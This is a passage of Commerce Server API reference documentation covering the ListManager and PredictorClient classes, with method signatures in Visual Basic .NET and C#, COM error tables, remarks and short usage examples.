&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method, however, any data in the list will be overwritten.

This method keys on the rcp_email column, and therefore both the source (srcList parameter) and add (addList parameter) lists must be Mailable lists (LISTFLAG_MAILABLE set to True). All the records from the source list are copied to the result (resList parameter) list. All records from the add list that do not have duplicate e-mail addresses (rcp_email) in the source list are also copied to the result list. Any existing data in the result list is deleted.

The parameter pvarOpID contains valid data only if the union operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.Union ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "{7131B794-5448-078B-B544-799A2311B79A}", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.WaitOnOperation Method (PIA)

Use this method to wait until an operation is complete or a specified time period has elapsed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub WaitOnOperation(
 varOpID As Object,
 Optional timeout As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void WaitOnOperation(
 object varOpID,
 int timeout
);

Parameters

[Visual Basic .NET]
varOpID
An Object that specifies the ID of the operation on which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout
An optional Integer that specifies a timeout. This method returns either when the specified operation completes or when the number of seconds specified by the timeout parameter has elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.
[C#]
varOpID
An object that specifies the ID of the operation on which to wait. For more information about where to obtain Operation IDs, see the Remarks section.
timeout
An int that specifies a timeout. This method returns either when the specified operation completes or when the number of seconds specified by the timeout parameter has elapsed, whichever happens first. A value of zero (the default) specifies an infinite time to wait for the operation to complete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400004 | The operation ID does not represent a currently running operation.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400004 | The operation ID does not represent a currently running operation.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method cannot be called from a scripting language such as VBScript or JScript on an ASP page. ASP pages must use alternative techniques when dealing with asynchronous operations and should never wait on them explicitly.

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

[Visual Basic .NET]

Example

oListManager.WaitOnOperation ("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
  900)

See Also

ListManager Class


ListManager Properties (PIA)

Properties

Property | Type | Description
ConnectionString | String | Stores the connection string to the database used by the ListManager object to store lists. This value is set when passing the ConnectionString parameter to the Initialize method. This property is read-only.
Status | Integer | Stores the current status of the ListManager object. This property is read-only.


ListManager.ConnectionString Property (PIA)

The ConnectionString property is a read-only String that contains the database connection string List Manager uses to store lists. This property is set by the Initialize method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property ConnectionString As String
[C#]
public string ConnectionString {get; }

Property Value

[C#] Contains the database connection string that List Manager uses to store lists.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Status Property (PIA)

The Status property is a read-only Integer that contains the ListManager object status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property Status As Integer
[C#]
public int Status {get; }

Property Value

[C#]

Contains the ListManager object status.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The following table shows the valid status codes and their descriptions.

Status | Value | Description
LMSTATUS_NEW | 0 | The ListManager object has been created but is not yet initialized.
LMSTATUS_READY | 1 | The ListManager object has been created and successfully initialized.
LMSTATUS_ERROR | -1 | The ListManager object failed to initialize.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


PredictorClient Class (PIA)

Use this object to load an analysis model, set properties controlling the prediction context, and run the prediction algorithm. Two types of models are supported, prediction models and segment models. Results of a prediction model are used to recommend products and supply missing profile data. Results of a segment model are used to categorize a user. Prediction models provide more accurate recommendations than segment models, and the use of segment models for predictions is discouraged.

Methods

Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts products to recommend or supplies missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.

Properties

Property | Type | Description
fpDataFitScore | Single | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | Single | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | Boolean | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | Single | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | Single | Stores the Recommend Score. This property is read-only.
sSiteName | String | Stores the site name in which the PredictorClient object is running. This property is read/write.

Remarks

Applications that need to anticipate user behavior use the PredictorClient object to load analysis models and generate predictions. The models use a specified set of partial cases as the basis for their predictions. A case is all that is known about a previous user and may contain demographic information and transactional history.

Use the PredModelBuilder object to generate new models. Use the PredictorServiceAdmin object to retrieve a list of models and model configurations. Use the PredictorServiceSiteAdmin object to delete or rename models and model configurations.

Measure the effectiveness of a prediction model by using the fpDataFitScore and the fpRecommendScore properties. This allows fine-tuning of the input parameters, such as SampleSize, InputAttributeFraction, and OutputAttributeFraction, when building the model.

Load a model by using the LoadModelFromDB or LoadModelFromFile methods prior to using other PredictorClient methods.

For optimum performance when using a prediction model, default values for the fpDefaultConfidence and fpPopularityPenalty properties should be set in the Application_OnStart method in the global.asax file, to avoid having to explicitly set the values for every Predict method call.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

[Visual Basic .NET] Business Analytics

[Visual Basic .NET] Predictor Schema

[Visual Basic .NET] PredictorServiceAdmin Object

[Visual Basic .NET] PredictorServiceSiteAdmin Object

[Visual Basic .NET] PredModelBuilder Object

[Visual Basic .NET] Running the Predictor Resource


PredictorClient Methods (PIA)

Methods

Method | Description
Explain | Explains the prediction of a property in terms of the relevant property/value pairs used as input to the prediction model.
LoadModelFromDB | Loads a model from a database.
LoadModelFromFile | Loads a model from the specified file.
Predict | Predicts products to recommend or supplies missing profile data.
PredictAllSegments | Calculates the probabilities that the user belongs to each segment of a population of past users.
PredictMostLikelySegment | Calculates the segment to which the user most likely belongs.
SaveModelToFile | Saves a model to the specified file.


PredictorClient.Explain Method (PIA)

Use this method to return the properties and values from the current cases that are relevant to a prediction of the specified unknown property. A score corresponding to each returned property/value pair explains the importance of each property/value pair to the prediction.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Sub Explain(
  dCurrentCase As IDictionary,
  sPropToExplain As String,
  ByRef pvsavRelevantProps As Object,
  ByRef pvsavRelevantValues As Object,
  ByRef pvsavRelevantScores As Object,
  Optional lMaxExplanations As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;          //For IDictionary
…
public void Explain(
  IDictionary dCurrentCase,
  string sPropToExplain,
  ref object pvsavRelevantProps,
  ref object pvsavRelevantValues,
  ref object pvsavRelevantScores,
  int lMaxExplanations
);

Parameters

[Visual Basic .NET]
dCurrentCase
An object that implements the IDictionary interface that contains the current case.
sPropToExplain
A String that contains the name of the property to explain.
pvsavRelevantProps
An Object used to return a System.Array containing the list of properties from the current case that are relevant to the prediction.
pvsavRelevantValues
An Object used to return a System.Array containing the list of values corresponding to the relevant properties.
pvsavRelevantScores
An Object used to return a System.Array containing the list of scores corresponding to the importance of each property towards the prediction.
lMaxExplanations
An Integer that contains the maximum number of properties to return. The default value of -1 indicates to return all the properties.
[C#]
dCurrentCase
An IDictionary interface of a Dictionary object that contains the current case.
sPropToExplain
A string that contains the name of the property to explain.
pvsavRelevantProps
A reference to an object used to return a System.Array containing the list of properties from the current case that are relevant to the prediction.
pvsavRelevantValues
A reference to an object used to return a System.Array containing the list of values corresponding to the relevant properties.
pvsavRelevantScores
A reference to an object used to return a System.Array containing the list of scores corresponding to the importance of each property towards the prediction.
lMaxExplanations
An int value that contains the maximum number of properties to return. Use –1 to return all the properties.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns property/value/score triplets sorted in descending order by score. The higher the score, the greater the probability that the unknown property is correctly predicted by the corresponding property/value pair.

Load the prediction model by using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

[Visual Basic .NET]

Example

' dCase is a Dictionary object

Dim aRelevantProps() As Object

Dim aRelevantValues() As Object

Dim aRelevantScores() As Object

oPredictorClient.Explain (dCase, """Age""", aRelevantProps, _
 aRelevantValues, aRelevantScores, 10)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class


PredictorClient.LoadModelFromDB Method (PIA)

Use this method to load a model stored in a database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadModelFromDB(
  sModelName As String,
  sDWConnStr As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadModelFromDB (
  string sModelName,
  string sDWConnStr
);

Parameters

[Visual Basic .NET]
sModelName
A String that contains the model name.
sDWConnStr
A String that contains the connection information for the Data Warehouse.
[C#]
sModelName
A string that contains the model name.
sDWConnStr
A string that contains the connection information for the Data Warehouse.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A valid model must be loaded before calling the other methods of the PredictorClient object. This model, typically in the size range of 100 kilobytes (KB) to 10 megabytes (MB), must be loaded onto the local Web server to ensure a timely response to a prediction request.

The information for the model is loaded from the PredictorModels table. For more information about this table, see Predictor Schema.

The sDWConnStr parameter must be an SQL OLE DB connection string.

Use the LoadModelFromFile method to load a model from a file.

[Visual Basic .NET]

Example

oPredictorClient.LoadModelFromDB("Purchase1", _
 "Provider=SQLOLEDB;Data Source=servername;Initial Catalog=Retail_dw;" _
 & "Integrated Security='SSPI';")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict

PredictorClient.LoadModelFromFile


PredictorClient.LoadModelFromFile Method (PIA)

Use this method to load a model stored in a file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadModelFromFile(
  sFilePath As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadModelFromFile (
  string sFilePath,
);

Parameters

[Visual Basic .NET]
sFilePath
A String that contains the file name, extension, and path.
[C#]
sFilePath
A string that contains the file name, extension, and path.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

A valid model must be loaded before calling the other methods of the PredictorClient object. A model is originally stored in a database and must be loaded by using the LoadModelFromDB method. After it is loaded, the model may be saved to a file by using the SaveModelToFile method.

The file path is relative to the current working directory of the calling process.

[Visual Basic .NET]

Example

' PredictionModel2.mdl is stored in the working directory of the
'  calling process
oPredictorClient.LoadModelFromFile("PredictionModel2.mdl")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict

PredictorClient.LoadModelFromDB


PredictorClient.Predict Method (PIA)

Use this method to generate predictions that are used to recommend relevant products to a user, the current case, or to fill in missing profile data associated with the user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports Microsoft.CommerceServer.Interop  ‘ for ISimpleList & IDictionary
…
Public Sub Predict(
  dCurrentCase As IDictionary,
  slPropsToPredict As ISimpleList,
  ByRef pvsavPredictedProps As Object
  ByRef pvsavPredictedVals As Object
  Optional lMaxPredictions As Integer
  Optional ByRef pvsavDetails As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;    //For IDictionary & ISimpleList
…
public void Predict (
  IDictionary dCurrentCase,
  ISimpleList slPropsToPredict,
  ref object pvsavPredictedProps,
  ref object pvsavPredictedVals,
  int lMaxPredictions,
  ref object pvsavDetails
);

Parameters

[Visual Basic .NET]
dCurrentCase
An object that implements the IDictionary interface that contains the current case.
slPropsToPredict
An object that implements the ISimpleList interface that contains the names of the properties to predict.
pvsavPredictedProps
An Object used to return a System.Array containing the predicted property names.
pvsavPredictedVals
An Object used to return a System.Array containing the predicted property values.
lMaxPredictions
An Integer that specifies the maximum number of predictions to return. The default value of -1 indicates to return all predictions.
pvsavDetails
Reserved for future use. Must be set to an Object with value DBNull.Value.
[C#]
dCurrentCase
An IDictionary interface to a Dictionary object that contains the current case.
slPropsToPredict
An ISimpleList interface to a SimpleList object that contains the names of the properties to predict.
pvsavPredictedProps
A reference to an object used to return a System.Array containing the predicted property names.
pvsavPredictedVals
A reference to an object used to return a System.Array containing the predicted property values.
lMaxPredictions
An int value that specifies the maximum number of predictions to return. Use –1 to return all predictions.
pvsavDetails
Reserved for future use. Must be set to an object with value DBNull.Value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Predictions are made by using the currently loaded prediction model based on user profile and selection information contained in the current case. The predicted property/value pairs are returned sorted in descending order of likelihood.

Set the fpDefaultConfidence and fpPopularityPenalty properties and load the prediction model by using the LoadModelFromDB or LoadModelFromFile methods before using the Predict method.

Default values for the fpDefaultConfidence and fpPopularityPenalty properties may be set in the Application_OnStart method in the global.asax file to avoid having to explicitly set the values for every Predict method call.

[Visual Basic .NET]

Example

' dCase is a Dictionary object, slPropsToPredict is a SimpleList

Dim aRelevantProps() As Object

Dim aRelevantValues() As Object

Dim aRelevantScores() As Object

oPredictorClient.Predict (dCase, PredictedProps, _
 aPredictedVals, 10)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.LoadModelFromFile

PredictorClient.LoadModelFromDB

PredictorClient.fpDefaultConfidence


PredictorClient.PredictAllSegments Method (PIA)

Use this method to predict the probabilities that a particular user (the current case) belongs to each segment of a population.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Sub PredictAllSegments(
  dCurrentCase As IDictionary,
  ByRef pvsavSegmentNames As Object,
  ByRef pvsavProbabilities As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;          //For IDictionary
…
public void PredictAllSegments(
  IDictionary dCurrentCase,
  ref object pvsavSegmentNames,
  ref object pvsavProbabilities
);

Parameters

[Visual Basic .NET]
dCurrentCase
An object that implements the IDictionary interface that contains the current case.
pvsavSegmentNames
An Object used to return a System.Array containing the segment names.
pvsavProbabilities
An Object used to return a System.Array containing the membership probabilities associated with the segment names.
[C#]
dCurrentCase
An IDictionary interface to a Dictionary object that contains the current case.
pvsavSegmentNames
A reference to an object used to return a System.Array containing the segment names.
pvsavProbabilities
A reference to an object used to return a System.Array containing the membership probabilities associated with the segment names.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Microsoft Research Cluster Engine Data Modeler groups similar users into segments. Similar segments are further grouped into higher-order collections of segments, creating a hierarchy from which to analyze trends and discover hidden correlations. The returned probability associated with each segment name indicates the probability that the current user belongs to that segment.

Load the segment model by using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

[Visual Basic .NET]

Example

' dCase is a Dictionary object

Dim aSegmentNames() As Object

Dim aProbabilities() As Object

oPredictorClient.PredictAllSegments dCase, aSegmentNames, aProbabilities

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Object


PredictorClient.PredictMostLikelySegment Method (PIA)

Use this method to predict the most likely segment of a population to which a user (the current case) belongs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Function PredictMostLikelySegment(
  dCurrentCase As IDictionary,
  Optional ByRef pvarProbability As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;          //For IDictionary
…
public string PredictMostLikelySegment(
  IDictionary dCurrentCase,
  ref object pvarProbability
);

Parameters

[Visual Basic .NET]
dCurrentCase
An object that implements the IDictionary interface that contains the current case.
pvarProbability
An Object used to return the membership probability associated with the segment name.
[C#]
dCurrentCase
An IDictionary interface to a Dictionary object that contains the current case.
pvarProbability
A reference to an object used to return the membership probability associated with the segment name. An object with the value Type.Missing must be used when indicating a missing argument value for this parameter.

Return Values

[Visual Basic .NET] If successful, this method returns a String containing the segment name.

[C#] Returns a string with the name of the segment most likely to contain the given case.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Microsoft Research Cluster Engine Data Modeler groups similar users into segments. Similar segments are further grouped into higher-order collections of segments, creating a hierarchy from which to analyze trends and discover hidden correlations.

This method returns the name of the segment most likely to contain the given case, and optionally, the probability that the user belongs to this segment.

Load the segment model by using the LoadModelFromDB or LoadModelFromFile methods prior to using this method.

[Visual Basic .NET]

Example

' sSegment is a String, oProbabilty is an Object
' dCase is a Microsoft.CommerceServer.Interop.IDictionary object
sSegment = oPredictorClient.PredictMostLikelySegment(dCase, oProbability)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class


PredictorClient.SaveModelToFile Method (PIA)

Use this method to save the currently loaded model to a file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub SaveModelToFile(
  sFilePath As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void SaveModelToFile (
  string sFilePath
);

Parameters

[Visual Basic .NET]
sFilePath
A String that contains the file name, extension, and path relative to the working directory of the calling process.
[C#]
sFilePath
A string value that contains the file name, extension, and path relative to the working directory of the calling process.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The directory where the file is saved must exist prior to the call.

A model must be loaded by using the LoadModelFromDB or LoadModelFromFile methods before using the SaveModelToFile method.

[Visual Basic .NET]

Example

oPredictorClient.SaveModelToFile("PredictionModel2.mdl")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.LoadModelFromFile

PredictorClient.LoadModelFromDB


PredictorClient Properties (PIA)

Properties

Property | Type | Description
fpDataFitScore | Single | Stores the Data Fit Score. This property is read-only.
fpDefaultConfidence | Single | Stores the threshold for confidence in a prediction. This property is read/write.
bFailOnUnknownInputAttributes | Boolean | Controls the behavior of the Predict method when input attributes are unknown. This property is read/write.
fpPopularityPenalty | Single | Stores the penalty applied when selecting popular items to recommend. This property is read/write.
fpRecommendScore | Single | Stores the Recommend Score. This property is read-only.
sSiteName | String | Stores the site name in which the PredictorClient object is running. This property is read/write.


PredictorClient.fpDataFitScore Property (PIA)

The fpDataFitScore property is a read-only value that returns the Data Fit Score, measuring the effectiveness of a prediction model to fill in missing profile data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property fpDataFitScore As Single
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int fpDataFitScore {get; }

Property Value

[C#]

A float value containing the Data Fit Score.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Data Fit Score is automatically computed when a model is built, using a fraction of the data as test data. The amount of data to set aside for testing purposes is specified as the Measured Accuracy Sample Fraction. For more information, see Building a New Analysis Model and PredictorModels Table.

Use the Data Fit Score to test and fine-tune the input parameters for a prediction model. Known cases, taken from the input cases used to build the model, are tested against both the prediction model and a "stalking horse" model. The "stalking horse" model is a marginal model that assumes all properties are independent. An intermediate value is calculated by dividing the probability the prediction model assigns to a case in the test data by the probability the "stalking horse" model assigns to the same case. The score is the logarithm of the geometric average of these values for each output property. Thus, any score greater than zero means that the built model makes predictions that are more accurate than the "stalking horse" model.

Load the prediction model by using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


PredictorClient.fpDefaultConfidence Property (PIA)

The fpDefaultConfidence property is a read/write value that determines the threshold below which predictions are not returned by the PredictorClient object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property fpDefaultConfidence As Single
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int fpDefaultConfidence {get; set;}

Property Value

A value containing the threshold confidence for prediction. Valid range is 0 to 100.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following standard COM error value has a particular meaning in the context of this property:

E_INVALIDARG

The value of the property is outside the valid range of 0 to 100.

Remarks

The fpDefaultConfidence property is a threshold that determines which attributes can be shown on the recommendation list. When a prediction is made, each attribute is assigned a probability of "not missing," which in most uses will correspond to the probability that the product will be purchased. If this probability (in percent) falls below fpDefaultConfidence, then the attribute is not shown on the recommendation list even when this probability is large relative to probabilities of the other attributes being "not missing." The property should be within the range of 0 to 100, but a value of zero (0) is recommended unless the fpPopularityPenalty property is set to zero (0).

Set a default value for this property in the global.asax file to avoid setting the value for each Predict method call.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


PredictorClient.bFailOnUnknownInputAttributes Property (PIA)

The bFailOnUnknownInputAttributes property is a read/write Boolean that controls whether the Predict method continues or fails when encountering unknown input attributes.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property bFailOnUnknownInputAttributes As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public bool bFailOnUnknownInputAttributes {get; set; }

Property Value

A bool value indicating whether or not the Predict method should fail on unknown input attributes. The default value is false.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property is used as a debugging flag. By default, the Predict method ignores unknown input attributes. Setting this property to true causes the Predict method to fail when unknown input attributes are encountered.

When debugging, set a default value for this property in the global.asax file to avoid setting the value for each Predict method call.

Load the prediction model by using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


PredictorClient.fpPopularityPenalty Property (PIA)

The fpPopularityPenalty property is a read/write value that influences the likelihood that the Predict method recommends popular items. The valid range is 0.0 to less than 1.0, with a default value of zero (0).

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property fpPopularityPenalty As Single
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public float fpPopularityPenalty {get; set; }

Property Value

A float value containing the popularity penalty value to be applied to subsequent predictions. Valid range is 0.0 to less than 1.0. Default is zero (0).

Exceptions

The following standard COM error value has a particular meaning in the context of this property:

E_INVALIDARG

An invalid value was used. The valid range is 0.0 to less than 1.0.

Remarks

Popular items are frequently purchased items that are so well known that they do not need to be recommended to a user. A higher penalty value reduces the probability that a popular item is included as a recommended product in the prediction results. The value ranges from 0.0 to less than 1.0. To maximize sales of the most popular items, the default popularity penalty of zero (0) is recommended. For applications where most of the users are familiar with many of the popular products, a value of 0.9 is appropriate.

Set a default value for this property in the Application_OnStart method in the global.asa file to avoid setting the value for each Predict method call.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


PredictorClient.fpRecommendScore Property (PIA)

The fpRecommendScore property is a read-only value that returns the Recommendation Score, which measures the quality of a ranked list of recommendations returned from a prediction model.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public ReadOnly Property fpRecommendScore As Single
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public float fpRecommendScore {get; }

Property Value

A value containing the Recommendation Score.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use the Recommendation Score to test and adjust the input parameters for a prediction model. Known cases, taken from the input cases used to build the model, are tested against the prediction model with one of the transactions randomly removed. A list of recommendations is returned, and the prediction is deemed successful if the removed transaction is on the list. The score is the percentage of cases in which the model was successful.

The Recommendation Score is automatically computed when a model is built, using a fraction of the data as test data. The amount of data to set aside for testing purposes is specified as the Measured Accuracy Sample Fraction. For more information, see Building a New Analysis Model and PredictorModels Table.

Load the prediction model by using the LoadModelFromDB or LoadModelFromFile methods prior to accessing this property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


PredictorClient.sSiteName Property (PIA)

The sSiteName property is a read/write value that contains the name of the site in which the PredictorClient object is running.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property sSiteName As String
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public string sSiteName {get; set;}

Property Value

A string value containing the name of the site where the PredictorClient object is running or will run.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property should be set in the On_Start method of the global.asax file to allow logging of performance monitoring counters to be aggregated over the site. Performance counters are specific to a given computer. If multiple sites are running on the same Web server, the counters give a combined total for all sites. Specifying a site name allows the counts from one site to be distinguished from the counts of other sites.

The following counters are available:

  • Total number of predictions made since the site was initialized.
  • Average time per prediction.
  • Total number of model loads from files.
  • Total number of model loads from a database.

The counters can be accessed in Microsoft Windows 2000 by clicking Control Panel, double-clicking Administrative Tools, and then double-clicking Performance. The counters can also be accessed programmatically through the performance APIs described in the Windows 2000 Platform SDK.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server Family

Assembly: PredictorClient (in PredictorClient.dll)

See Also

PredictorClient Class

PredictorClient.Predict


Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Targeting.PipelineComponents namespace.

Class | Description
AddAttachments | Provides a user interface to the configuration data for the AddAttachments object.
AdvertisingNeedsOfDelivery | Provides a user interface to the configuration data for the AdvertisingNeedsOfDelivery object.
CheckOptOut | Provides a user interface to the configuration data for the CheckOptOut object.
ComposeDMLMessage | Provides a user interface to the configuration data for the ComposeDMLMessage object.
CreateUPMCookie | Provides a user interface to the configuration data for the CreateUPMCookie object.
EvalTargetsGroup | Provides a user interface to the configuration data for the EvalTargetsGroup object.
FilterContent | Provides a user interface to the configuration data for the FilterContent object.
FormatTemplate | Provides a user interface to the configuration data for the FormatTemplates object.
HistoryPenalty | Provides a user interface to the configuration data for the HistoryPenalty object.
ISSAppendToLog | Provides a user interface to the configuration data for the ISSAppendToLog object.
LoadAdvertisements | Provides a user interface to the configuration data for the LoadAdvertisements object.
